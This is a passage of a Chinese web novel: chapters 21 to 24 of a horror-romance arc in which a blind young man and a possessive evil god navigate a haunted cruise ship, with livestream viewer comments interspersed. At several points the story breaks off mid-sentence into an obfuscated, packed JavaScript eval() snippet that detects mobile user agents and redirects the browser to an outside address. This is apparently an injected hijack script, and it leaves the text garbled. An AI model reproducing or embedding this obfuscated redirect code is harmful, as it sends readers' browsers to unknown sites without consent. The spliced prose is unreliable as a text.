会缝衣服的邪神,宁小满沉默,今天也是被震惊的一天呢。 在塔尔斯的帮助下宁小满换掉了身上的湿衣服,穿着用宝石代替扣子和图形装饰的衬衫和裤子,宁小满只感觉浑身不自在。 扯扯衬衫贴近脖子处系成蝴蝶结的飘带,宁小满垂下眸子小声道:“这个贴着脖子不舒服,能去了吗?” “可以,我帮你。” “还有宝石……” “宝石不能去,满满忘了背景介绍中你的身份了吗?” “我的身份?” “是一位十分受宠的小王子啊!小王子穿的衣服不豪华一点怎么行?” “现在是被救前,我还没有进行自述,到时候我直接说我是一个普通人不可以吗?” “满满啊,没有那个身份,你很有可能被当做逃出来的奴隶的。” 更恐怖一些的塔尔斯还没说,比如——备用粮、直接不救、违反规则直接身死、和背景有出入,导致怪谈无法进行一辈子被困到这里…… “那还是穿着吧。”不是他怂,而是真被当成奴隶他就完了。 好吧,既然不脱了,那剩下那些吓人的话他就不说了,真要吓坏了就不好了,趁着这段时间他还要翻翻空间,多找几件适合的衣服缝上宝石。 他的小王子,要穿就得穿最好的,塔尔斯眯着眼睛毫不掩饰其中的占有欲。 21. 亡海游轮2 这边,姗姗来迟的网友看着直播间的画面直接炸了: “这破游戏搞针对啊?怎么就咱们国家的天选者在海面上?其他国家的天选者可是一入场就在游轮上的!” “垃圾**,不通**——恭喜您已永久禁言。” “呃……啊……这直播间还能禁言呐。” “我来回切了十几个国家看,里面有的处境和咱们国家天选者一样,有的不一样,不过待在海面上的那些天选者无一例外都有点强就是了。” “操!那这破游戏不就是在搞针对嘛!” —— “喂,底下木板上那个,要上来吗?” 听到上首船员的叫喊,宁小满扯着嗓子回道:“要!” 听到要字,几个负责巡视的船员对视一眼,两个走到放麻绳的地方两个守在原地,剩下一个则是转身去了船长室,来了头大肥羊,怎么也得跟船长知会一声,请示一下怎么处理。 被麻绳捆住腰往船上拉的过程有塔尔斯暗中的帮助很顺利,全程不过一分钟宁小满就上了船。 船员一看着宁小满身上干爽的衣服,眼睛闪了闪,勾头往船下一看,搭载着这人的黑木板已经不见了,不排除被海水拍散了可能,同样不排除的还有其他可能。 船员二、三没有他那么机警,他们没有注意到宁小满身上的异样,他们只注意到了宁小满绣满了宝石的衣服。 他们俩对视一眼,刚想开口打劫一番身后就传来了副船长的声音。 “贵客上门,未曾迎接,是我的不是,这位,不知道如何称呼?” 宁小满转身面对着声源处,嘴中说着刚才和塔尔斯临时编好的说辞,“塔满,前两天我乘着父王赐给我的船出海,一开始什么都很好,不凑巧,半天前突发暴风雨,我的船沉了,我也就……” 说到这里宁小满顿了顿,好像很难受的样子,缓了好一会才接着道:“事到如今我一个人很显然是回不去的,所以,我想请你们送我回家,报酬的话,就十箱珠宝怎么样?” 副船长目光上下扫视着宁小满衣服上绣着的宝石,眼中盈满了贪婪,“噢,可怜的王子,当然可以,毕竟与人为善是我们出海的行事准则,只是不知道您国家所在的方位?” “西边。”宁小满信口胡诌道。 “这似乎与我们的航向不一样啊——” “再加五箱珠宝。” “噢,我记错了,方向完全一样,”副船长笑眯眯的问道:“这糟糕的天气一直下着雨,在外边待久了人都要变成雨了,您的身体似乎不是很好,不如我先给您安排个房间?” “可以吗?谢谢。” “噢呵呵,不用谢,份内之职罢了,你们两个,带塔先生去顶层给他安排一个房间。” 船员二、三对视一眼,恶劣一笑,异口同声道:“是,塔先生,跟我们来吧。” 等到宁小满被带着离开后,船员一走到副船长身边将发现的不合理之处一一说了,副船长听了之后却表示。 “这和我们有关系吗?年轻人,想赚大钱就要学会装瞎。”副船长拍拍船员一点肩膀,噙着笑转身离开。 合理又如何,不合理又如何,只要最后交到手里的珠宝是真的不就行了? 至于到最后交不出来怎么办,副船长抬头望着黑沉沉的天冷笑一声,不会有人想体验一下大海的残酷的。 想到什么,副船长停下前进的脚步,扭头看向一直默不作声的船员四,“船上规矩不少,新来的总是喜欢横冲直撞,你去,给他讲讲这船上的规矩。” “是。”船员四默默应下,尽管这是个苦差事,他很有可能因为得罪贵客被副船长处理掉,但那又如何呢? 海上人命不值钱,他只是个小船员…… 宁小满在塔尔斯的提醒下勉强跟上两个船员,在一通七拐八拐后,两位船员停下脚步,一个打开房门一个转身直勾勾的盯着宁小满,“塔先生,您的房间到了,请支付小费。” “小费?” “当然,带路是一件辛苦的活计,没有小费是没有人愿意做的,”船员二斜靠在门框上睨着宁小满,轻笑一声,“身为王子的您,应该不会无视我们这些底层人的辛苦吧?” 话音落地,宁小满倏然感觉脑袋一沉,虽然很快就恢复如常,但就那么一瞬间也够让他心有余悸的了。 “精神污染,满满,将这两块宝石扔给他们,先让他们离开。” 宁小满攥紧右手,手心被膈的一疼,那是塔尔斯刚放进去的宝石,他放松身体深深呼出一口气,“当然不会,这是你们的小费,拿好。” 船员二和船员三看着他手心的宝石,满意收了攻势,一齐恭敬的行了个礼道:“尊敬的先生,再见,祝您海上旅程愉快。” 宁小满没说话,只闪身进了房间把门关上,背靠在门上依稀能听见外边的交谈声: “哎,你发现没,那人的眼睛似乎是看不见的。” “有吗?没有吧,咱们两个没管他他不是跟上了嘛。” “有的,拐歪处他差点摔倒,嘿嘿……这正常人常见,目盲的却是少见,只不知味道尝起来……” 再往后的对话宁小满就听不见了,因为这随着说话人的走远声音愈来愈小了。 “满满,我要杀了他们。” 是要,不是想,再说明塔尔斯已经做好了决定,告诉他只是通知他一声,宁小满幽幽的叹了一口气,“随你,不要闹出太大的动静。” “放心,不会的,往前走五步就是床,满满,乖乖待在床上等我回来,很快的。” 很快确实是很快,宁小满刚坐到床上就听到了敲门声,初听,他以为是塔尔斯回来了,再听,就知道不是。 因为塔尔斯可以穿墙,并不拘泥于一扇门进出,而且离开前塔尔斯让他在床上等他。 不是塔尔斯,那么就是其他人/诡异了,宁小满握紧盲杖变成的匕首,这是塔尔斯离开前塞给他的,壮着胆子扬声问了句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030874|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁啊!” 敲门声停下,紧跟着一道低沉的声音响起:“先生,我是船员,副船长派我过来和您讲一下游轮上的规矩。” 规矩?是规则吗?还没有探索房间的宁小满不知道,但他知道,这门他得开,因为他要了解规矩。 宁小满起身走到门口,将握着匕首的右手藏在身后,呼出一口气,另一只手打开门,平视着身前的或许是胸膛或许是脸的地方,“说吧。” 船员四低头看向宁小满的眼睛,漂亮,但无神,什么情况显然易见,看着这双眼睛,很久不曾晃神的他怔愣了片刻才反应过来宁小满说了什么。 “游轮中不允许狂奔、不允许大声喧哗、不允许在外就餐、每十日一次的宴会所有人必须身着礼服到场,我要说的就这些,剩下的客人可以看这本游客守则。” 船员四顿了顿后问道:“需要帮您换成盲文版的吗?” “可以吗?” “自然是可以的。” “那、谢谢。” “不用谢,这是我的、义务,盲文版的游客守则这层楼没有,稍等,两分钟后我会为您送来。” 船员四说完不等宁小满反应,转身就走。 船员四走后宁小满退回房间关上房门,背靠在房门上替换了一下拿匕首的手。 两分钟时间稍纵即逝,船员四如期带着他说的盲文版游客守则返回,宁小满开门伸手,船员四将游客守则放到他向上的手心中,并提醒道:“这层楼的游客享有上门送餐服务,如无特殊情况,您最好少出门,最近外边并不太安全。” 宁小满愣了下后道谢:“谢谢。” “最好也不要道谢,恕我直言,您是一位王子,您应该蛮横一些。” 这下子宁小满是彻底愣住了,这是在提醒他应该遵循人设吗? 塔尔斯不知道什么时候回来了,拉过愣在门口的宁小满关上房门,“满满,刚才谁来了?” “一个船员,来送这个,顺便提醒我蛮横一些。” “蛮横一些嘛?”塔尔斯重复了一遍这几个字,赞同的点了点头,“确实应该蛮横一些,你太礼貌了,这在怪谈世界是软弱好欺负的代表。” 宁小满摇摇头,不欲在这个上面多说,意念一动,匕首变为盲杖敲在地上。 他带着塔尔斯找到浴室,又在塔尔斯的描述中知道这里有一个大浴缸,他打开水龙头放水,水流哗哗,手指划过水面,他听到了自己的声音,“处理那两个诡异,麻烦吗?” “不麻烦,只是两个不入阶的小诡罢了,回来晚是因为在游轮上逛了一圈,弄明白了点事。” 塔尔斯说着用触手尖轻点爱人的额头,混沌的思绪重归清明,宁小满用湿漉漉的手捂住塔尔斯刚刚点到的地方,有些诧异刚才那刹那如上云间的感觉。 “这个游轮是座海上诡城,所有东西都充满了污染性,满满刚才是被精神污染了。” “我违背规则了吗?”什么时候,他怎么不知道…… 22. 亡海游轮3 “C级怪谈,规则已经不能代表一切了,遵守规则不过是减少精神污染的可能,和诡异的日常对话中被污染屡见不鲜。” “那上个怪谈……” “D级怪谈不存在精神污染,算是新手保护吧,”塔尔斯偏头看了一眼往外流水的浴缸,好笑的提醒道:“满满,水满了。” “这样啊,”宁小满关上水龙头拍了拍水面,“进来吧。” “什么?”塔尔斯明知故问道。 “你刚才一进来就一股子铁锈味,想必是身上沾了不少血,不洗洗晚上怎么一起洗?” “哦,这个啊,那就谢谢满满帮我洗澡啦。”塔尔斯笑着飞进浴缸,触手缠着宁小满的手往他身上放,以便一会的搓洗。 伴随着手指的轻抚,塔尔斯露出一抹享受的神情,只觉为了这会故意把自己弄的满身血污不亏。 一通搓洗过后,不知不觉已经过了半个小时,在塔尔斯的强烈要求下,宁小满无奈洗了个热水澡。 裹着浴袍从浴室中走出的刹那,一股水汽随之奔涌而出,湿漉漉的头发还在滴水,宁小满敲打着盲杖找到沙发乖乖坐下。 手上拿着的是塔尔斯帮忙拿来的游客守则,身后飘着的是尽职尽责帮忙烘干头发的塔尔斯。 翻开游客守则,手指拂过纸面,其中记录的文字跃然脑中: 守则一:身份不同,游客所需遵守是守则亦不相同,请游客遵循自己的游客守则。 守则二:每个人的付出都应该有收获,高位者无视低位者的付出理应受到惩罚,请游客不要无视底层人民的辛苦 守则三:游轮上的生活应该是无趣的,请不要随意接触他人或者与他人攀谈 守则四:游轮上存在一位船长和两位副船长,他们都是好人,可以相信,遇到危险时,可以摇铃向他们求助 守则五:游轮漂浮在海上,时常会遇到暴风雨或者海啸,其中颠簸是正常的,请不要大惊小怪、放声尖叫 守则六:海上的生活很是无趣,唯有耀眼的财富是其上的指路明灯,大多数时候,海面是危险的,唯有少数时候是安全的,如果你不知道什么时候是安全的,可以用自己的财富开辟出一条独属于自己的道路 守则七:外来者总是不容易被接受的,新进游客需主动迎合船上的风俗 守则八:游轮上有等级之分,请时刻谨记自己的等级 至此,一页薄薄的游客守则就被‘看’完了。 了然规则后,宁小满回头朝还在他头上忙活的塔尔斯吐槽道:“这游客守则还不如说是抢劫守则,话里话外都是有钱你就可以为所欲为,没钱你干什么都要认命。” “嗯?是这样吗?我看不懂那些字,不过就算是这样满满也不需要担心,我有钱,都给你花。” 本来只是吐槽的宁小满被这几句话弄了个脸红,他默默转过头不再言语。 头发干后,塔尔斯就催着打了两个哈欠的宁小满上了床,“累了就睡吧,有我守夜呢。” 宁小满依言上床盖好被子,抱着塔尔斯蹭了蹭,小声道了句:“晚安。” “晚安满满,做个好梦。” “嗯……” 不一会功夫,绵长的呼吸声传来,这代表他身侧的人已经睡着了。 塔尔斯睁开半阖着的双眸看向门口的方向,那里,有什么东西过来了。 本来他应该起身和它玩玩的,但温香软玉在怀,他实在是不想起。 塔尔斯将目光落到床边靠着床头柜装死的盲杖,精神链接上其中藏着的意识,吩咐道:外边,解决了。 藏着的意识:不…… 塔尔斯:那换了你。 反正除了这一个他还有七个可以替换的。 果不其然,听到他说要换,身体内其他七个意识已经炸开了锅,一个个全是自荐的。 精神链接的情况下,盲杖中的意识也能听到其他意识说的话,只见他抖动几下,倏的一下变成一毫米的薄片朝门缝处飞去:解决,不换。 塔尔斯没搭理他,换不换的全看他心情,他才不会傻的答应什么呢。 “唔……热……” 热?塔尔斯蜷起触手摸上爱人的额头,滚烫一片,通过搜(诡异爸妈)魂已经知道人类怎么养的塔尔斯可以断定,这是发烧了。 然而光是断定没用,还得治病。 要说治病,肯定是专人来更有效,塔尔斯切断一根触手,示意他从窗户处飞出去把探查时发现的诡医抓来。 清楚抓诡医干什么的触手不敢耽搁,嗖的一下就从窗户处飞了出去。 等诡医来到空档,塔尔斯反思了一下爱人为什么会发烧,最终将罪魁祸首定在了外边的海洋、天上的雨水以及不怕死释放精神污染的诡船上。 海暂时填不了,但雨和诡船还是能教训一下的。 于是,在塔尔斯的发力下,亡海上终年不停的雨停了,除自己发神经会震荡两下的诡船发生了前所未有的大地震,造成的损失是吃十箱珠宝也补不回来那种。 被触手薅着领子抓回来的诡医一进屋就瑟瑟发抖的瘫软到了地上,头抵着地板连头都不敢抬,唯恐惹怒了把他抓来的大诡,“大大大……大人,敢问……” 塔尔斯:看病。 “是是是,给、给谁看?” 塔尔斯想了想,将躺在床上难受的蜷缩起身子的爱人抱起,吝啬的只露出一抹手腕:这里。 诡医哆哆嗦嗦站起身将自己的诡力搭在露出的皮肤上,不过两秒,哆嗦的身体就放松不少。 吓死他了,他还以为这么着急忙慌的抓他过来是什么不得了的大病,都做好陪葬的准备了,谁知道临到了就是个连病都算不上的发热。 诡医抬手擦擦额头上的冷汗,从随身携带的医药箱中拿出大拇指粗细长短的药瓶举过头顶,“不是什么大病,吃了这个两三个呼吸间就能好。” 手中的药瓶被什么东西嗖的一下卷走,并没有回应,诡医按下心中不详的预感问道:“大人,病已经看完,请问我可以……” 确定怀里面的人退烧了后,塔尔斯淡淡吐出两个字:“聒噪。” 话音落地,诡医下一秒就变成了飞灰,顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手指轻沾脸上的泪水,懵懵懂懂的模样看的塔尔斯心内躁动,没办法,邪神对于懵懂的目光是一丁点抵抗力没有的。 按下心内躁动,塔尔斯继续道歉:“满满,我错了,我……” “你没错。” 完了,这是连解释都不想听了吗?塔尔斯更慌了,“可是、可是满满你哭了,我我我……” “乍见光明,眼睛受不住,流出的生理性泪水罢了。” 只能是这样,也只会是这样,总归不会是是他一个成年人因为一眼景色激动的流泪。 受不住? 塔尔斯听到这三个字整个神都傻了,就这光线,受不住? 他单知道他的爱人柔弱,却没想到会这么弱。 不过转念一想,好像……也不错?他可以把他捧在手心,当个瓷娃娃呵护着,也可以为他建造一座玻璃宫殿,把他放到里面观赏着…… 23. 亡海游轮4 “这样都受不住的话,以后就只能减少频率了。” 宁小满已经从刚才的震惊中完全缓过来了,抱着塔尔斯回到房内,坐到皮质的沙发上不解问道:“什么频率?” “我本来打算两天借你看一眼这世界的,但你受不住,就只能往后改,七天一次也不错,现在你适应了用眼睛看世界,后边我彻底借给你时就不会难受了。” “借给我的时候,你怎么办?”宁小满不假思索的问道。 “我?我无所谓的,一双眼睛而已,没了我还可以用其他方式看世界。”他身体强悍,大不了抢其他神的眼睛安到他眼眶中,反正他的身体也不会有什么排异反应。 宁小满沉默几许,声音干哑道:“你这样不好。” 塔尔斯反问:“哪里不好?” “一味的付出,容易滋生罪恶。” 塔尔斯闻言轻笑一声,挣脱宁小满的手臂,飘在半空中转了一圈,落地时身形直接暴涨,巨大的阴影将宁小满笼罩,抬起的触手一根就有宁小满大腿那么粗,偏它落下时的力道又轻的不可思议。 触手尖摩擦着裸露在外的纤长脖颈,一下又一下,直到被摩擦的地方微微泛红,塔尔斯方才幽幽开口:“满满,我的存在,即是罪恶本身。” 你不能因为我对你的好就无视我的恶,同样,也不能因为我的恶就无视我对你的好,那样都是不对的,我要的,是你对我恶与好的全盘皆收。 凝视着触手尖下微微颤抖的脖颈,塔尔斯轻轻呼出一口气,压下内心摊开自己所有不堪的躁动,徐徐道:“满满,我并不是在一味付出,我有在索取,只是我的索取你都当做理所当然罢了,细细想来,你的付出大于我的付出,所以要说滋生罪恶,也是我对你。” 宁小满不解眨眼,他、付出什么了吗? 看出宁小满的不解,塔尔斯却并不做解释,自己的价值需要自己去发掘,他提前点破就没什么意思了。 “叮铃铃——您的餐食已送到,请开门取餐。” “我……” “我去吧,满满刚才累着了,现在需要休息。” “我不累,我可以自己拿。” 塔尔斯无奈的拍了拍宁小满的发顶,“满满不累,我却想帮忙,不可以吗?” “可以,谢谢。” 说完,宁小满拿过脖子上摩擦的触手尖亲了一口,这是他们两个说好的,一个谢谢一个吻。 被亲到的触手尖蜷了蜷,随后被其主人快速收回,速度之快宁小满还没反应过来手上就没了东西。 塔尔斯来到门口打开房门,抬手挥散浓郁的精神污染,扫一眼餐车,四个盘子,份量还行,应该够满满吃饱。 “您的餐食已送到,请支付……” 戛然而止的话语,代表并不打算支付小费的塔尔斯已经采取了杀诡灭口行动。 一阵风吹过,扬起的黑灰完美避开餐车上的餐盘。 塔尔斯两根触手端一盘,八根触手恰好端四盘,一趟就把送来的餐食拿进了屋。 “咔——” 关门声响起,顶层突然响起好几声咽口水的声音,那是被吓到的同层诡异发出的声音。 看菜下碟不止适用于人类世界,在怪谈世界同样适用。 昨天,顶层房间内诡异们就知道顶层新来了一个客人,没错,就是客人,不是客诡。 出于不了解那人的实力,昨天他们安安静静并没有作妖,准备今天试探一下再拿定对那人的态度,所以今天知道那人叫了送餐服务后,他们便格外默契的选择了趴在门上偷窥。 送餐的诡异贪财、实力不弱且难缠,人类开门取餐势必要和他打交道,是以,这个人类对送餐诡异的态度决定了他们对那个人类的态度。 如果人类态度强硬且实力不错,他们就老老实实龟缩起来;如果人类态度软弱但有钱,他们就凑上去打劫一番,让人类拿钱买命;如果人类态度软弱且没钱,不好意思,他们饿了! 今天这么一看,这人类很明显属于第一种,顶层有钱但实力不咋样是诡异们默契的选择了沉默,沉默是金、沉默是命、他们就喜欢沉默,决定了,这个人类离开前他们都要保持沉默。 威慑四方的塔尔斯回房却是一副伏低做小的模样,小小的章鱼趴在桌上看着小口小口喝着蘑菇浓汤的爱人,脸上尽是傻笑。 “满满,好喝吗?” “味道有些怪,但还可以接受。”宁小满放下勺子点评道。 “那、”塔尔斯环顾一圈,将布满芝士的披萨和蘑菇浓汤换了个位置,“再尝尝这个。” “唔……味道还可以,但没有我妈妈做的好吃。” “妈妈也会做啊——满满,你说等咱们出去了,我能吃到妈妈做的披萨吗?” 想到他们两个口中的妈妈是一个,宁小满耳根微红,不说话,只一味咀嚼着嘴里面的食物。 没得到回应塔尔斯也不恼,害羞嘛,他理解。 接下来塔尔斯并没有再说话,只是眼神痴迷盯着小口小口吃东西的爱人,脑海中不住幻想如果吃的是他的触手,他的爱人会露出什么样的表情。 想必,会很享受吧? 他作为怪谈世界顶端的存在,也可以说是顶端食材,他的味道,比之那些又干又柴的老诡必定要好上千倍、万倍,去除诡气,放到锅里面煎炒烹炸,光是气味飘出去就能迷倒一大片诡异。 嗯,还有一种可能,那些火炖不熟邪神的一部分躯体,他的触手会始终保持活性,他的爱人表情纠结,只是拿着,很明显不想吃生的,但在他的撒泼打滚之下,为了安抚他,小小咬了一口,进入爱人体内的一小部分触手更加兴奋…… “塔尔、塔尔?塔尔!你在吗?” 塔尔斯从幻想中回过神,慌忙道:“在的在的,满满想说什么?” “我吃完了,这些餐盘要怎么办?” “我来处理就好。” 听塔尔斯说他处理,宁小满便不再问。 俗话说得好,饱暖思……,他倒不至于思那个,但是吃饱了困意就上来了是实话。 宁小满抬手掩唇懒懒的打了个哈欠,眼尾涌出生理性泪水,他抬手擦掉,成功给眼尾留下一抹飞红。 塔尔斯销毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030876|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完餐盘回头看见的就是这么一幕,飘在半空中的触手几经握紧,最后放松摊平,他飞到爱人身侧,脑袋贴着大动脉所在的位置劝道:“刚吃过饭就睡觉不好。” “可是,好困。” “半个小时后睡觉就没什么了,玩半个小时再睡好不好?” “好,聊天可以吗?” “可以啊,只要满满想,什么都可以。” 宁小满闻言腼腆一笑,张开双臂,不肖片刻怀中就多了一只爱撒娇的小章鱼。 身体放松往后躺下,半眯着眼睛抚摸着塔尔斯的身体,宁小满开口说起了刚才看见的景色:“刚才的海,是什么颜色?” “蓝色。” “天空呢?” “也是蓝色的,不过比之海面多了些白色的云,还有一个红色的太阳。” “靠着的窗台?” “深褐色。” …… 时间就这样在一问一答中流逝,半眯着的眼睛逐渐全部合上,听着越来越小的声音,塔尔斯耐不住了,“满满,你问了那么多,就不想问问我是什么颜色吗?” “不用问。” “为什么不用问?” “因为我知道,是紫色的……”宁小满瓮声瓮气的回道。 听到这个回答,塔尔斯一愣,旋即脸上绽放一抹大大的笑来,其他颜色都需要找他询问才知道,他是什么颜色却不需要问就知道,如果这都不是喜欢、那什么才是喜欢? 塔尔斯小心翼翼的挪开身上的手,跳到地上变大身形,抱起睡在沙发上的爱人放到床上,拉上被子掖好被角,又返回窗边欣赏了一会窗外的风景拉上窗帘才算是作罢。 —— “其他天选者那边的都是阴雨天,咱们国家的天选者这边却是艳阳天,好奇怪。” “风景好好,感觉非常适合度蜜月的样子。” “这有啥可奇怪的,有时候一步之差都是两种天气,他们这差了十万八千里天气不一样不很正常?” “上个副本在家,勉强算新婚,新婚‘小情侣’去海上,可不就是度蜜月嘛!” “嗯……没人觉得这房间、这餐食都挺好的吗?” “觉得啊,那又如何,又不能跑进去住和吃。” —— 宁小满睡着没多久外边就响起了淅淅沥沥的雨声,自然的雨声不输于任何人工制作的白噪音,听着雨声,宁小满将身子往下挪了挪,睡得更沉了。 塔尔斯虽说不满天气这么快就恢复,但也不好再次出手,扭转一次天气没什么,扭转多了,这一游轮的诡异怕是都得被晒死。 说来也是可笑,其他地方的诡异都不怕太阳,只有亡海上的诡异怕。 而归根究底,也不过是一方和一方的规则不同罢了。 船长室,船长坐在自己的真皮大椅上对着电话神情恭敬的应是。 “叩叩——船长。” 船长抬手比了个进来但噤声的手势后继续听电话那头的人说话,“人是我的,我不希望在你们那折损太多。” “那我安排下去不让诡异打扰……” 24.亡海游轮5 对话那头哼笑一声,反问:“不折损和不折损太多的区别是什么?” “您的意思是……” “磨磨他的傲气,就这样。” 那头说完就撂了电话,船长擦擦额头上的冷汗,扭头看向等了一会的副船长,“说吧,什么事?” “昨天晚上船体无故受损,底下花了十箱珠宝才把船体补上,但……”副船长偷瞄一眼船长阴沉的脸色没敢直接说。 “说。” “那意识却不满足,它似乎是想要昨天上船那人。” 船长转动大拇指上的纯金戒指,眯着眼睛想了许久,“想办法把人骗过去。” 虽然不知道为什么典狱长会让他磨磨那人类的傲气,但干就完了。 天选者能无限次复活,本就是给他们这些诡异准备的甜点,死一次不算什么,安抚下诡船内的意识更重要。 他在海上经营这么多年,可不想因为一个人类和它闹崩,一旦闹崩,他可就什么都没了…… “是,除此之外,还有……” “还有?” “嗯,它还想要几箱珠宝平时咀嚼用。” 船长:……咀嚼,这是把自己真当成了个人啊,还要吃零嘴! 头疼的捂住额头,摆摆手:“给它送去。” …… 是夜,门口再次响起送餐人员的声音,和中午一模一样的场景再次发生。 宁小满小口吃着塔尔斯拎进来的饭菜,吃完后没忍住问道:“为什么不让我去取餐?” “这个怪谈危险,和送餐人员接触多了容易被精神污染。” 虽然有他在不用怕什么精神污染,但肮脏的东西嘛,能不碰还是不碰的好。 宁小满想了想道:“那、你陪着我取餐不就好了。” “为什么一定要自己取餐?” “这两次送餐的诡异你都杀了吧?”宁小满答非所问道。 “嗯,他们觊觎你,杀了心静。” “我也想试试,”感受着落到身上骤然灼热的视线,宁小满抿了抿唇接着道:“上个怪谈我杀了诡异爸妈,虽然我一时间不能接受,但后边慢慢也就接受了,所以我想,我也是能帮忙的。” “什么时候盲杖和匕首能够熟练的来回切换了,什么时候上。” “我现在就可以!” 害怕塔尔斯不信,宁小满拿过吃饭前放在一边道盲杖,意念一动,盲杖就变成了小臂长的匕首,再动,重回盲杖形态,来回切换两次。 宁小满兴致冲冲道:“你看,我可以的!” “嗯嗯,那下次就满满拿餐好不好?”塔尔斯单手托着脑袋,无可无不可道。 “好!” 看着因为一件小事就开心到不行的爱人,塔尔斯幽幽叹出一口气,怎么就那么好哄呢? —— “盲杖变匕首,嚇,还有什么惊喜是朕不知道的?” “这也不算惊喜吧,之前那船员来讲规则时不变过匕首了嘛。” “三星变人。” “之前把匕首藏在身后准备偷袭的满宝我一整个爱住!” “啥玩意,三星能变人?” “不然呢?总不能真让咱满宝和一只脑袋大小的章鱼在一起一辈子吧?” —— “满满,左前方五十厘米,刺!” 宁小满条件反射按照塔尔斯说的干,刺完才反应过来房间内就他们两个,想到刚才隐约听到的刺破皮肉的声音,慌忙扔了匕首站起身摸索道:“塔尔,你怎么样,没事吧?” “呼——反应很快,明天早上攻击时按照这个速度来,绝对万无一失。” “别说话,你在哪?” “好霸道啊满满,连话都不让说。” 塔尔斯边抱怨边将自己挪到宁小满怀中,“在这呢,怎么了?” 宁小满对着怀中里面的小章鱼上下其手,边检查边道:“我刚才听到划破皮肉的声音了,是不是伤到你了?嗯?” “没,我没事,真的,不信你闻,空气里连血腥味都没有。” 塔尔斯挣出两根触手拍着爱人的手背,小声安抚着,“好了,冷静点,真的没事。 宁小满轻嗅着房间内的气味,确定没有血腥味方才彻底安神,捏住一根触手攥了攥,“吓死我啦,还以为伤到你了……” 匕首有他小臂长,塔尔斯变小才他脑袋大,两者碰到一块,他是真害怕给塔尔斯捅个对穿。 还好还好,并没有真的捅到。 塔尔斯不语,只是轻拍着宁小满的手背。 —— “卧槽!卧槽卧槽!刚才、刚才……” “风风火火、恍恍惚惚……满宝出息了,一匕首干掉了三星一根触手……” “不儿,触手还在地上跳呢!您二位这是又和好了?” —— “啪嗒——啪嗒——” 听着这怪异的声音,宁小满疑惑的歪头看向身后,是窗户没关吗?为什么他总感觉耳边有类似雨滴到木板上的声音? 塔尔斯心虚的瞥一眼地上跳动的触手,小心挪动身子,放开盘旋着的触手,露出断面,示意地上那触手别跳了,赶紧的滚回来,若是被发现了,定让他吃不了兜着走! 地上跳动的触手最后啪嗒一下成功归位,听到房间内没了声音,宁小满只当自己疑神疑鬼听错了,“塔尔,你累吗?” “有点。”实际上不,只是这种似是而非的回答更方便他一会跟着满满的话更改本意。 “那要睡吗?”说着,宁小满抬手捂着嘴打了个哈欠。 “睡吧,早睡早起身体好。” “噗嗤——你说这话是语气,好像老学究啊。” “才不是什么老学究,是邪神!全天下最伟大的邪神!” “好好好,全天下最伟大的邪神,我们休息去喽!” 宁小满调整了一下塔尔斯的位置,单手抱着他站起身,空出来的那只手往下一伸,等候已久的盲杖就蹭着磨到了他的手心。 感受着手心轻挠似的触感,宁小满无奈轻叹,这是生怕他发现不了吗? “不开心?” “没有,就是有点无奈。” “无奈什么?” “有人玩躲猫猫都不好好玩,偏露出一条尾巴在外边撩拨。” 塔尔斯眨眨眼,故作惊讶道:“谁啊,这么坏,满满你可不能跟他学,太坏了!” “……你、算了,睡觉吧。” “好。” 塔尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038832|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯应下,跟着宁小满上了床,放出幻象遮蔽直播后变大身形抱住爱人,触手轻拍着后背,嘴里面也在轻声呢喃着什么,伴随着外边淅淅沥沥的雨声,房间内很快就传来了均匀的呼吸声。 听着均匀的呼吸声,塔尔斯手上动作不停,只突然转头看向窗外问道:“你们也感受到了,对吗?” 【熟悉的气息,挑衅。】 【觊觎我们的新娘,该死!】 【因果,乱了。】 【空气,天气,都不对,精神,影响。】 “我很讨厌这里的天气,也很讨厌贪得无厌的……去,解决并替代他。” 【哼呵,好。】 一团黑光从塔尔斯散落一旁的触手中飞出,在宁小满脸前眷恋的盘旋一圈,随后径直穿墙而出,目标,是那深藏在船底的意识。 【还有,不止。】 塔尔斯知道这个意识的意思,但…… “还不到时候。” 老家伙安排好的割……计划不容他肆意破坏,现在还远不到撕破脸的时候,再等等——再等等,那些藏在暗处的觊觎者,他迟早会彻底解决了他们! “嘎吱!” 